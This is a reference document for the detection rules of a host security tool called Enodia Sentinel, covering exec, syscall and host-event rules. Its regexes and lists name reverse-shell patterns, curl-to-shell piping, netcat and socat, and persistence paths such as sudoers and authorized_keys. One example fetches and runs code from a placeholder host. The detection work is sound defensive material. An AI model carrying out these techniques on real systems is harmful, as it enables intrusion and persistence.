319 lines
12 KiB
Markdown
319 lines
12 KiB
Markdown
# Enodia Sentinel Event Rule Reference
|
|
|
|
Generated from the active exec/syscall/host-event rule defaults plus any configured `exec_rules_file` entries.
|
|
|
|
Use `enodia-sentinel rules list/show/test` to inspect rules and validate event fixtures locally.
|
|
|
|
Built-in event-rule fixtures live in `tests/fixtures/sids/` and can be replayed
|
|
with `enodia-sentinel rules test tests/fixtures/sids/<sid>-<slug>.json`.
|
|
Non-event built-in SIDs are covered by safe offline drills in `tests/sid_drills.py`;
|
|
`python3 -m unittest tests.test_sid_coverage -v` verifies the full registry.
|
|
|
|
## SID 100001: Program executed from a world-writable directory
|
|
|
|
- Event: `exec`
|
|
- Signature: `exec_rule.fileless-execution`
|
|
- Classtype: `fileless-execution`
|
|
- Severity: `CRITICAL`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `path_prefixes`: `/tmp/`, `/dev/shm/`, `/var/tmp/`
|
|
|
|
Expected false positives:
|
|
- Temporary build or installer helpers intentionally executed from `/tmp`, `/var/tmp`, or `/dev/shm`.
|
|
- One-shot administrative diagnostics copied into a writable directory.
|
|
|
|
Drill or fixture: `sentinel-redteam ebpf_exec` fires a short-lived writable-path execution event when the eBPF exec monitor is enabled.
|
|
|
|
## SID 100002: Reverse-shell command pattern in execve arguments
|
|
|
|
- Event: `exec`
|
|
- Signature: `exec_rule.c2-reverse-shell`
|
|
- Classtype: `c2-reverse-shell`
|
|
- Severity: `CRITICAL`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `argv_regex`: `/dev/(tcp|udp)/|\b(ba|da|z)?sh\b[^|]*\s-i\b|\bn(c|cat|etcat)\b.*\s-e\b|\bsocat\b.*\bexec|python[0-9.]*\b.*(pty\.spawn|socket\.socket)|perl\b.*\bSocket\b`
|
|
|
|
Expected false positives:
|
|
- Security training labs or safe self-tests that intentionally include reverse-shell command text.
|
|
- Benign scripts containing literal `/dev/tcp` or `pty.spawn` examples in their argv.
|
|
|
|
Drill or fixture: `sentinel-redteam ebpf_exec` emits a `/dev/tcp` argv fixture; `rules test` can validate a captured exec JSON event offline.
|
|
|
|
## SID 100003: Web/DB service spawned a shell or interpreter (possible RCE/webshell)
|
|
|
|
- Event: `exec`
|
|
- Signature: `exec_rule.web-rce`
|
|
- Classtype: `web-rce`
|
|
- Severity: `CRITICAL`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `exec_comm`: `ash`, `bash`, `dash`, `ksh`, `lua`, `nc`, `ncat`, `netcat`, `perl`, `php`, `python`, `python2`, `python3`, `ruby`, `sh`, `socat`, `zsh`
|
|
- `parent_comm`: `apache`, `apache2`, `caddy`, `catalina`, `httpd`, `lighttpd`, `mariadbd`, `mysqld`, `nginx`, `node`, `nodejs`, `php`, `php-fpm`, `php7`, `php8`, `postgres`, `redis-server`, `tomcat`
|
|
|
|
Expected false positives:
|
|
- Legitimate web applications invoking maintenance scripts through shell wrappers.
|
|
- Database or web service containers whose entrypoint intentionally spawns an interpreter.
|
|
|
|
Drill or fixture: Use `rules test` with an exec event whose `parent_comm` is a web/database service and whose `filename` is an interpreter.
|
|
|
|
## SID 100004: Download piped directly to a shell (ingress tool transfer)
|
|
|
|
- Event: `exec`
|
|
- Signature: `exec_rule.ingress-tool-transfer`
|
|
- Classtype: `ingress-tool-transfer`
|
|
- Severity: `HIGH`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `argv_regex`: `\b(curl|wget|fetch)\b.*\|\s*(ba|da|z)?sh\b`
|
|
|
|
Expected false positives:
|
|
- Bootstrap scripts that intentionally pipe downloaded install content into a shell.
|
|
- Developer setup tooling run interactively during provisioning.
|
|
|
|
Drill or fixture: Use `rules test` with argv like `curl http://example.invalid/x | sh`.
|
|
|
|
## SID 100060: mprotect made memory writable and executable
|
|
|
|
- Event: `syscall`
|
|
- Signature: `syscall_rule.memory-obfuscation`
|
|
- Classtype: `memory-obfuscation`
|
|
- Severity: `CRITICAL`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `syscalls`: `mprotect`
|
|
- `predicate`: `built-in predicate`
|
|
|
|
Expected false positives:
|
|
- JIT runtimes or emulators that make pages writable and executable.
|
|
- Security tooling that deliberately tests W^X policy.
|
|
|
|
Drill or fixture: Use `rules test` with syscall `mprotect` and `args[2]` containing write+exec permissions, for example `0x6`.
|
|
|
|
## SID 100061: mmap requested writable and executable memory
|
|
|
|
- Event: `syscall`
|
|
- Signature: `syscall_rule.memory-obfuscation`
|
|
- Classtype: `memory-obfuscation`
|
|
- Severity: `CRITICAL`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `syscalls`: `mmap`
|
|
- `predicate`: `built-in predicate`
|
|
|
|
Expected false positives:
|
|
- JIT runtimes, emulators, or language VMs that allocate RWX memory.
|
|
- Compatibility layers that request executable writable mappings.
|
|
|
|
Drill or fixture: Use `rules test` with syscall `mmap` and `args[2]` containing write+exec permissions.
|
|
|
|
## SID 100062: memfd_create used for anonymous in-memory file staging
|
|
|
|
- Event: `syscall`
|
|
- Signature: `syscall_rule.fileless-execution`
|
|
- Classtype: `fileless-execution`
|
|
- Severity: `MEDIUM`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `syscalls`: `memfd_create`
|
|
- `predicate`: `built-in predicate`
|
|
|
|
Expected false positives:
|
|
- Browsers, sandbox helpers, and runtimes that legitimately use anonymous memfd files.
|
|
- Container or IPC frameworks using memfd as a transport primitive.
|
|
|
|
Drill or fixture: Use `rules test` with syscall `memfd_create`; include `text` to document the captured name.
|
|
|
|
## SID 100063: ptrace anti-debug or attach operation observed
|
|
|
|
- Event: `syscall`
|
|
- Signature: `syscall_rule.anti-analysis`
|
|
- Classtype: `anti-analysis`
|
|
- Severity: `HIGH`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `syscalls`: `ptrace`
|
|
- `predicate`: `built-in predicate`
|
|
|
|
Expected false positives:
|
|
- Debuggers, profilers, crash handlers, and endpoint tooling that attach to processes.
|
|
- Developer sessions running `strace`, `gdb`, or similar tracing tools.
|
|
|
|
Drill or fixture: Use `rules test` with syscall `ptrace` and request `16` (`PTRACE_ATTACH`) or `0x4206` (`PTRACE_SEIZE`).
|
|
|
|
## SID 100064: seccomp sandboxing call observed (possible anti-analysis hardening)
|
|
|
|
- Event: `syscall`
|
|
- Signature: `syscall_rule.anti-analysis`
|
|
- Classtype: `anti-analysis`
|
|
- Severity: `MEDIUM`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `syscalls`: `prctl`, `seccomp`
|
|
- `predicate`: `built-in predicate`
|
|
|
|
Expected false positives:
|
|
- Browsers, container runtimes, and sandboxed services enabling seccomp as normal hardening.
|
|
- Security test harnesses validating seccomp policy.
|
|
|
|
Drill or fixture: Use `rules test` with syscall `seccomp`, or syscall `prctl` with `arg0` set to `22` (`PR_SET_SECCOMP`).
|
|
|
|
## SID 100065: cross-process memory read/write syscall observed
|
|
|
|
- Event: `syscall`
|
|
- Signature: `syscall_rule.credential-access`
|
|
- Classtype: `credential-access`
|
|
- Severity: `HIGH`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `syscalls`: `process_vm_readv`, `process_vm_writev`
|
|
- `predicate`: `built-in predicate`
|
|
|
|
Expected false positives:
|
|
- Debuggers, profilers, memory scanners, and EDR tools inspecting another process.
|
|
- Backup or checkpoint tooling that reads process memory intentionally.
|
|
|
|
Drill or fixture: Use `rules test` with syscall `process_vm_readv` or `process_vm_writev`.
|
|
|
|
## SID 100066: memory locking syscall observed (possible protected in-memory payload)
|
|
|
|
- Event: `syscall`
|
|
- Signature: `syscall_rule.memory-obfuscation`
|
|
- Classtype: `memory-obfuscation`
|
|
- Severity: `MEDIUM`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `syscalls`: `mlock`, `mlock2`, `mlockall`
|
|
- `predicate`: `built-in predicate`
|
|
|
|
Expected false positives:
|
|
- Databases, crypto agents, and credential stores locking sensitive memory.
|
|
- Realtime or performance-sensitive services using `mlock` intentionally.
|
|
|
|
Drill or fixture: Use `rules test` with syscall `mlock`, `mlock2`, or `mlockall`.
|
|
|
|
## SID 100067: Interpreter connected to an unusual public port
|
|
|
|
- Event: `tcp_connect`
|
|
- Signature: `host_rule.suspicious-egress`
|
|
- Classtype: `suspicious-egress`
|
|
- Severity: `HIGH`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `events`: `tcp_connect`
|
|
- `comm`: `ash`, `bash`, `curl`, `dash`, `fetch`, `ksh`, `lua`, `nc`, `ncat`, `netcat`, `node`, `nodejs`, `perl`, `php`, `python`, `python2`, `python3`, `ruby`, `sh`, `socat`, `wget`, `zsh`
|
|
- `peer_public`: `True`
|
|
- `peer_port_exclude`: `22`, `53`, `80`, `123`, `443`, `853`
|
|
|
|
Expected false positives:
|
|
- Interactive admin scripts that intentionally connect to a non-standard public service.
|
|
- Developer tooling using interpreters for custom APIs on high ports.
|
|
|
|
Drill or fixture: Use `rules test` with a `tcp_connect` event whose `comm` is an interpreter and whose public `peer_port` is not a common service port.
|
|
|
|
## SID 100068: Interpreter opened a listener on an unusual local port
|
|
|
|
- Event: `listen`
|
|
- Signature: `host_rule.suspicious-listener`
|
|
- Classtype: `suspicious-listener`
|
|
- Severity: `HIGH`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `events`: `listen`
|
|
- `comm`: `ash`, `bash`, `curl`, `dash`, `fetch`, `ksh`, `lua`, `nc`, `ncat`, `netcat`, `node`, `nodejs`, `perl`, `php`, `python`, `python2`, `python3`, `ruby`, `sh`, `socat`, `wget`, `zsh`
|
|
- `local_port_exclude`: `22`, `53`, `80`, `123`, `443`, `853`
|
|
|
|
Expected false positives:
|
|
- Developer HTTP servers, netcat listeners, or local test harnesses intentionally opened from an interpreter.
|
|
- Administrative troubleshooting that temporarily listens on a high port.
|
|
|
|
Drill or fixture: Use `rules test` with a `listen` event whose `comm` is an interpreter and whose `local_port` is not a common service port.
|
|
|
|
## SID 100069: Interpreter wrote to a persistence path
|
|
|
|
- Event: `file_write`
|
|
- Signature: `host_rule.persistence-write`
|
|
- Classtype: `persistence-write`
|
|
- Severity: `HIGH`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `events`: `file_write`
|
|
- `comm`: `ash`, `bash`, `curl`, `dash`, `fetch`, `ksh`, `lua`, `nc`, `ncat`, `netcat`, `node`, `nodejs`, `perl`, `php`, `python`, `python2`, `python3`, `ruby`, `sh`, `socat`, `wget`, `zsh`
|
|
- `path_prefixes`: `/etc/cron.d/`, `/etc/crontab`, `/etc/systemd/system/`, `/etc/ld.so.preload`, `/root/.ssh/authorized_keys`, `/etc/sudoers`, `/etc/sudoers.d/`
|
|
|
|
Expected false positives:
|
|
- Installer, configuration-management, or recovery scripts that legitimately write persistence paths from an interpreter.
|
|
- Administrative SSH-key or service-unit maintenance performed by a reviewed script.
|
|
|
|
Drill or fixture: Use `rules test` with `tests/fixtures/sids/100069-interpreter-persistence-write.json`.
|
|
|
|
## SID 100070: Permissions or ownership changed on a persistence path
|
|
|
|
- Event: `chmod,chown`
|
|
- Signature: `host_rule.persistence-permission-change`
|
|
- Classtype: `persistence-permission-change`
|
|
- Severity: `HIGH`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `events`: `chmod`, `chown`
|
|
- `path_prefixes`: `/etc/cron.d/`, `/etc/crontab`, `/etc/systemd/system/`, `/etc/ld.so.preload`, `/root/.ssh/authorized_keys`, `/etc/sudoers`, `/etc/sudoers.d/`
|
|
|
|
Expected false positives:
|
|
- Package post-install scripts or configuration-management agents adjusting mode/owner on system service, sudoers, cron, or SSH key files.
|
|
- Manual recovery work that repairs permissions after a known-good change.
|
|
|
|
Drill or fixture: Use `rules test` with `tests/fixtures/sids/100070-persistence-permission-change.json`.
|
|
|
|
## SID 100071: Interpreter requested a root UID transition
|
|
|
|
- Event: `setuid`
|
|
- Signature: `host_rule.privilege-transition`
|
|
- Classtype: `privilege-transition`
|
|
- Severity: `HIGH`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `events`: `setuid`
|
|
- `comm`: `ash`, `bash`, `curl`, `dash`, `fetch`, `ksh`, `lua`, `nc`, `ncat`, `netcat`, `node`, `nodejs`, `perl`, `php`, `python`, `python2`, `python3`, `ruby`, `sh`, `socat`, `wget`, `zsh`
|
|
- `target_uids`: `0`
|
|
|
|
Expected false positives:
|
|
- Reviewed administrative wrappers that intentionally run interpreters across a root UID transition.
|
|
- Privileged installer or service-management scripts during maintenance windows.
|
|
|
|
Drill or fixture: Use `rules test` with `tests/fixtures/sids/100071-interpreter-setuid-root.json`.
|
|
|
|
## SID 100072: Interpreter requested a root GID transition
|
|
|
|
- Event: `setgid`
|
|
- Signature: `host_rule.privilege-transition`
|
|
- Classtype: `privilege-transition`
|
|
- Severity: `HIGH`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `events`: `setgid`
|
|
- `comm`: `ash`, `bash`, `curl`, `dash`, `fetch`, `ksh`, `lua`, `nc`, `ncat`, `netcat`, `node`, `nodejs`, `perl`, `php`, `python`, `python2`, `python3`, `ruby`, `sh`, `socat`, `wget`, `zsh`
|
|
- `target_gids`: `0`
|
|
|
|
Expected false positives:
|
|
- Reviewed administrative wrappers that intentionally run interpreters across a root GID transition.
|
|
- Privileged installer or service-management scripts during maintenance windows.
|
|
|
|
Drill or fixture: Use `rules test` with `tests/fixtures/sids/100072-interpreter-setgid-root.json`.
|